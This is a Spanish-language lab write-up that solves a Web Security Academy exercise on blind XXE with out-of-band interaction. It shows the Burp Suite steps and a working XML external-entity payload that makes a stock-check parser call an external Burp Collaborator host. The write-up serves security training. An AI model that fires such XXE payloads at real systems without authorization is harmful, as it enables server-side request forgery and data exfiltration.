
Descripción
This lab has a «Check stock» feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Blind XXE with out-of-band interaction writeup
Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Iremos primero al ‘Collaborator’ de Burp Suite y pulsaremos en ‘Copy to clipboard’. Guardaremos el valor de la IP, en mi caso ‘8luvpj3d0hcperzw1x9aehercii96zuo.oastify.com’.
Ahora, en el ‘Repeater’, introduciremos el siguiente código:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luvpj3d0hcperzw1x9aehercii96zuo.oastify.com"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Creando una entidad llamada ‘xxe’ que acceda a la IP del ‘Collaborator’. Al hacer la petición el servidor, recibiremos el código HTTP 400, pero habremos recibido la petición en el ‘Collaborator’:


Nota: Si no aparece automáticamente, hay que pulsar ‘Poll now’.
Completando así el laboratorio:
